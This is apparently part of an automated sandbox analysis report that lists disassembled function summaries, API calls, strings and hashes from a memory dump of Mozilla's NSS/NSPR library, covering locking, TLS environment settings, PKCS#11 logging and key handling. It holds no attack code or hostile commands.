PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C7200B6
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C7200C6
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C7200D6
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C7200E6

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 46b18296880e1c94e85fa0eb7919548cf68749950430362cacb0d43e6cffbf76
Instruction ID: 8130db32fc88360a6fe1dcd0e25834507684399cc34008174041813e74af5d9c
Opcode Fuzzy Hash: 46b18296880e1c94e85fa0eb7919548cf68749950430362cacb0d43e6cffbf76
Instruction Fuzzy Hash: A83126F0E116249E9B75EFA6E24C54B3AB4B72660C710693ED01C8B712D7BC0149CFD5

Function 6C766E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C766BF7), ref: 6C766EB6

Part of subcall function 6C6C1240: TlsGetValue.KERNEL32(00000040,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C1267
Part of subcall function 6C6C1240: EnterCriticalSection.KERNEL32(?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C127C
Part of subcall function 6C6C1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C1291
Part of subcall function 6C6C1240: PR_Unlock.NSS3(?,?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C80FC0A,6C766BF7), ref: 6C766ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C766EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C766EFC
PR_NewLock.NSS3 ref: 6C766F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C766F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C766BF7), ref: 6C766F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C766BF7), ref: 6C766F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C766BF7), ref: 6C766FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C766BF7), ref: 6C766FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C766FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C766FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C766F4F
SSLFORCELOCKS, xrefs: 6C766F2B
SSLKEYLOGFILE, xrefs: 6C766EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C766EF7

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: fa73aeead8eabe4d2be86138a9f12a3fb20e33e47b9e48354a5e810c1b31bc3e
Instruction ID: 6a7c6b3252cda58028a720d8c9dfd8b466f38b5da05e8b049ee45a8e0402baf3
Opcode Fuzzy Hash: fa73aeead8eabe4d2be86138a9f12a3fb20e33e47b9e48354a5e810c1b31bc3e
Instruction Fuzzy Hash: 35A10972A5998086E731466FCE0138433E6A7933AEF584B75EC35C7ED5DB799480C281

Function 6C6E5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6E5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C6E5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C6E5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C6E5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C6E5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C6E5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C6E5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C6E5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6E5F89
free.MOZGLUE(?), ref: 6C6E5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6E5FB6
free.MOZGLUE(00000000), ref: 6C6E5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6E600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6E6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6E6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6E6094

Strings

, xrefs: 6C6E5EEB

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 108f42f26b2fe6156126863fdb3c78e779d835bd00c5e85a601fb79947a0bd70
Instruction ID: 398f1ee93fec4199d1da0a8da711efcc9c736cc739bfe7652aa4b0ab47cb5072
Opcode Fuzzy Hash: 108f42f26b2fe6156126863fdb3c78e779d835bd00c5e85a601fb79947a0bd70
Instruction Fuzzy Hash: 998125B1E0A2059BDF108F64CD85BAE77B5AF4C318F14412AE819A7781E731E809CBD5

Function 6C6C1FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C6C2007
calloc.MOZGLUE(00000001,00000084), ref: 6C6C2077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6C20DF
TlsSetValue.KERNEL32(00000000), ref: 6C6C2188
PR_NewCondVar.NSS3 ref: 6C6C21B7
calloc.MOZGLUE(00000001,00000084), ref: 6C6C221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6C22C2
GetLastError.KERNEL32 ref: 6C6C22CD
free.MOZGLUE(00000000), ref: 6C6C22DD

Part of subcall function 6C6C0F00: PR_GetPageSize.NSS3(6C6C0936,FFFFE8AE,?,6C6516B7,00000000,?,6C6C0936,00000000,?,6C65204A), ref: 6C6C0F1B
Part of subcall function 6C6C0F00: PR_NewLogModule.NSS3(clock,6C6C0936,FFFFE8AE,?,6C6516B7,00000000,?,6C6C0936,00000000,?,6C65204A), ref: 6C6C0F25

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 7b45c3325a0eb5c6f2c515bbeabf3805d85ed4c23ff62e2bf2ff6e86b382b553
Instruction ID: 214691bd37b9f90e3539abdb70e2b9a0f147ad9b57b2926143f1d2895b59d24b
Opcode Fuzzy Hash: 7b45c3325a0eb5c6f2c515bbeabf3805d85ed4c23ff62e2bf2ff6e86b382b553
Instruction Fuzzy Hash: 68916CB07017118FEB709F78C84D76A7BF4AB06708F10593AE95ED6A41EB789408CBD6

Function 6C704E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C704E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C704EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C704EC7

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C704EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C704F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C704F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C704F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C704F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C704F68

Strings

hSession = 0x%x, xrefs: 6C704EA2, 6C704EB2
hObject = 0x%x, xrefs: 6C704EF5, 6C704F05
pTemplate = 0x%p, xrefs: 6C704F4A
C_GetAttributeValue, xrefs: 6C704E7E
(CK_INVALID_HANDLE), xrefs: 6C704EC0, 6C704F13
ulCount = %d, xrefs: 6C704F63
n~l, xrefs: 6C704F82, 6C704FB2

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$n~l
API String ID: 1003633598-3444178599
Opcode ID: 42bfc168282a02c6980d839b8616536363306f1f7caa2a591926b9cee0f13230
Instruction ID: 249c713bb245826a175dc31fdc6be6ce78debfa9f8fa27bfa84ca63b6999b6e4
Opcode Fuzzy Hash: 42bfc168282a02c6980d839b8616536363306f1f7caa2a591926b9cee0f13230
Instruction Fuzzy Hash: 8341C2B1701104ABDB209F94DF8CF9E3BB5AB5630DF084834E80857B12DB34AA49DBD6

Function 6C704CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C704CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C704D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C704D37

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C704D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C704D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C704D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C704DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C704DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C704E20

Strings

hSession = 0x%x, xrefs: 6C704D12, 6C704D22
hObject = 0x%x, xrefs: 6C704D65, 6C704D75
C_GetObjectSize, xrefs: 6C704CEE
*pulSize = 0x%x, xrefs: 6C704E1B
pulSize = 0x%p, xrefs: 6C704DB7
(CK_INVALID_HANDLE), xrefs: 6C704D30, 6C704D83
n~l, xrefs: 6C704DD4, 6C704DFF

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$n~l
API String ID: 1003633598-3626815918
Opcode ID: 74dbb74ef32942c15b24dcea5dfcc327d21cdd3be62f4cc5914f8a79e55128b0
Instruction ID: 6c2913512b7ce552f60dbbc5078ee7d07b08c75cf78eb9619f44050fcf93c496
Opcode Fuzzy Hash: 74dbb74ef32942c15b24dcea5dfcc327d21cdd3be62f4cc5914f8a79e55128b0
Instruction Fuzzy Hash: 1E41A5B1701104AFD7209F94DF8DB6A3BB5EB5630DF044834E9085B712DB34A949EBD2

Function 6C707C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C707CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C707CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C707CF3

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C707D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C707D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C707D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C707D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C707D77

Strings

hSession = 0x%x, xrefs: 6C707CCE, 6C707CDE
C_Verify, xrefs: 6C707CB1
ulSignatureLen = %d, xrefs: 6C707D72
pData = 0x%p, xrefs: 6C707D25
(CK_INVALID_HANDLE), xrefs: 6C707CEC
pSignature = 0x%p, xrefs: 6C707D59
ulDataLen = %d, xrefs: 6C707D40
n~l, xrefs: 6C707D8F, 6C707DC3

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$n~l
API String ID: 1003633598-951361151
Opcode ID: 7ef262802f766021051a93ee385b394f57dd4256296c6dffa6d0d3f6f4f9c6df
Instruction ID: 637cf2729e92d1945795464405261294d6c0b628c4f3b4be4089899710625208
Opcode Fuzzy Hash: 7ef262802f766021051a93ee385b394f57dd4256296c6dffa6d0d3f6f4f9c6df
Instruction Fuzzy Hash: 4931B171701144ABDB209FA4DF8DA6A3BF1AB4621DF084834E80C57712DB34A949DBE2

Function 6C702F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C702F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C702F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C702F63

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C702F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C702F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C702FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C702FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C702FE7

Strings

hSession = 0x%x, xrefs: 6C702F3E, 6C702F4E
ulNewLen = %d, xrefs: 6C702FE2
ulOldLen = %d, xrefs: 6C702FB0
C_SetPIN, xrefs: 6C702F21
pNewPin = 0x%p, xrefs: 6C702FC9
pOldPin = 0x%p, xrefs: 6C702F95
(CK_INVALID_HANDLE), xrefs: 6C702F5C
n~l, xrefs: 6C702FFF, 6C703030

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$n~l
API String ID: 1003633598-628559617
Opcode ID: 6fc09bc438f4e13040a8f8f42eb8abaca0e4dbdd4c15ae2f459af95d02e0d7e0
Instruction ID: ef1f3975f3a6345ba48be2f168ccf3ce2f0c8c9e3a229ae5ccfd8b59b9a07a5c
Opcode Fuzzy Hash: 6fc09bc438f4e13040a8f8f42eb8abaca0e4dbdd4c15ae2f459af95d02e0d7e0
Instruction Fuzzy Hash: 4631B2B6701144ABDB219F94DF4CE5A3BF1EB4635DF084824E80CA7B12DB35A948DBD1

Function 6C7E9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C7E9C70
PR_NewLock.NSS3 ref: 6C7E9C85

Part of subcall function 6C7998D0: calloc.MOZGLUE(00000001,00000084,6C6C0936,00000001,?,6C6C102C), ref: 6C7998E5

PR_NewCondVar.NSS3(00000000), ref: 6C7E9C96

Part of subcall function 6C6BBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6C21BC), ref: 6C6BBB8C

PR_NewLock.NSS3 ref: 6C7E9CA9

Part of subcall function 6C7998D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C799946
Part of subcall function 6C7998D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6516B7,00000000), ref: 6C79994E
Part of subcall function 6C7998D0: free.MOZGLUE(00000000), ref: 6C79995E

PR_NewLock.NSS3 ref: 6C7E9CB9
PR_NewLock.NSS3 ref: 6C7E9CC9
PR_NewCondVar.NSS3(00000000), ref: 6C7E9CDA

Part of subcall function 6C6BBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6BBBEB
Part of subcall function 6C6BBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C6BBBFB
Part of subcall function 6C6BBB80: GetLastError.KERNEL32 ref: 6C6BBC03
Part of subcall function 6C6BBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C6BBC19
Part of subcall function 6C6BBB80: free.MOZGLUE(00000000), ref: 6C6BBC22

PR_NewCondVar.NSS3(?), ref: 6C7E9CF0
PR_NewPollableEvent.NSS3 ref: 6C7E9D03

Part of subcall function 6C7DF3B0: PR_CallOnce.NSS3(6C8314B0,6C7DF510), ref: 6C7DF3E6
Part of subcall function 6C7DF3B0: PR_CreateIOLayerStub.NSS3(6C83006C), ref: 6C7DF402
Part of subcall function 6C7DF3B0: PR_Malloc.NSS3(00000004), ref: 6C7DF416
Part of subcall function 6C7DF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C7DF42D
Part of subcall function 6C7DF3B0: PR_SetSocketOption.NSS3(?), ref: 6C7DF455
Part of subcall function 6C7DF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C7DF473

Part of subcall function 6C799890: TlsGetValue.KERNEL32(?,?,?,6C7997EB), ref: 6C79989E

EnterCriticalSection.KERNEL32(?), ref: 6C7E9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C7E9DAF
_PR_CreateThread.NSS3(00000000,6C7E9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C7E9D9F

Part of subcall function 6C6BB3C0: TlsGetValue.KERNEL32 ref: 6C6BB403
Part of subcall function 6C6BB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C6BB459

_PR_CreateThread.NSS3(00000000,6C7EA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C7E9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C7E9DFC
_PR_CreateThread.NSS3(00000000,6C7EA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C7E9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C7E9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C7E9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C7E9E89

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 8cbd25beb736aa41885bc920d21c83ff8c4fb093c6a8143aaeee9cb780a4b68e
Instruction ID: a77aa85308514088b272b8ebb80fd7339e58b2f45d341d8e60b29c2e8e30d17f
Opcode Fuzzy Hash: 8cbd25beb736aa41885bc920d21c83ff8c4fb093c6a8143aaeee9cb780a4b68e
Instruction Fuzzy Hash: A3614EB2A00706AFE710DF75D948AA7BBE8FF49208B044539E91AC7B11E730E414CBE5

Function 6C6E3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C6E4014

Part of subcall function 6C6E39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C6E5E6F,?), ref: 6C6E3A08
Part of subcall function 6C6E39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C6E5E6F), ref: 6C6E3A1C
Part of subcall function 6C6E39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6E3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C6E4038

Part of subcall function 6C730FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
Part of subcall function 6C730FF0: PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016
Part of subcall function 6C730FF0: PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C6E404D

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C7FA0F4), ref: 6C6E40C2

Part of subcall function 6C72F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C72F0C8
Part of subcall function 6C72F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C72F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C6E409A

Part of subcall function 6C72BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C6DE708,00000000,00000000,00000004,00000000), ref: 6C72BE6A
